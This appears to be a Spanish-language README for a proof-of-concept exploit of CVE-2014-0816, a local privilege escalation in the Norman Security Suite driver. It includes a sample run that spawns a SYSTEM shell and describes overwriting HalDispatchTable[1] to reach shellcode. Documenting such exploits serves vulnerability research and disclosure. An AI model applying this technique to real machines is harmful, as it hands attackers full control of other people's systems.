tandasat/cve-2014-0816CVE-2014-0816
Este es un exploit para CVE-2014-0816 (JVNDB-2014-000026: Norman Security Suite vulnerable a escalada de privilegios).
Este exploit lanza CMD.exe con privilegios SYSTEM desde un usuario sin privilegios de Administrador explotando la vulnerabilidad en un controlador IOCTL de ngs.sys / ngs64.sys.
C:\Users\usuario\Desktop> exploit_ngs.exe
[*] Exploit Norman General Security Driver (ngs.sys / ngs64.sys)
[*] Versión del archivo objetivo: ver 5.0.740.0.
[*] Se creó un archivo de direcciones en C:\Users\usuario\Desktop\address.bin.
[*] El shellcode se encuentra en 000000013F9357D0.
[*] El dispositivo se abrió como 0000000000000044.
[*] El archivo de direcciones se abrió como FFFFFFFF80000558.
[+] HalDispatchTable[1] se encuentra en FFFFF800033FDC68.
[+] Se modificó HalDispatchTable[1].
[+] Se ejecutó el shellcode.
[+] Se lanzó la shell SYSTEM.
[*] Presione cualquier tecla para finalizar este programa.
Entonces verás una nueva consola.
Microsoft Windows [Versión 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Todos los derechos reservados.
C:\Users\usuario\Desktop>whoami
nt authority\system
La vulnerabilidad permite a un atacante sobrescribir una dirección arbitraria con un valor arbitrario, por lo que este exploit cambia el valor de HalDispatchTable[1] con la dirección de un shellcode que escala los privilegios del proceso actual a privilegios SYSTEM.
Esta vulnerabilidad será explotable en todas las plataformas desde Windows XP hasta 8 tanto x86/x64, pero este exploit está diseñado y probado en ciertas plataformas (por ejemplo, no funcionará en Windows 8 debido a SMEP).
Este software se publica bajo la Licencia MIT, consulta LICENSE.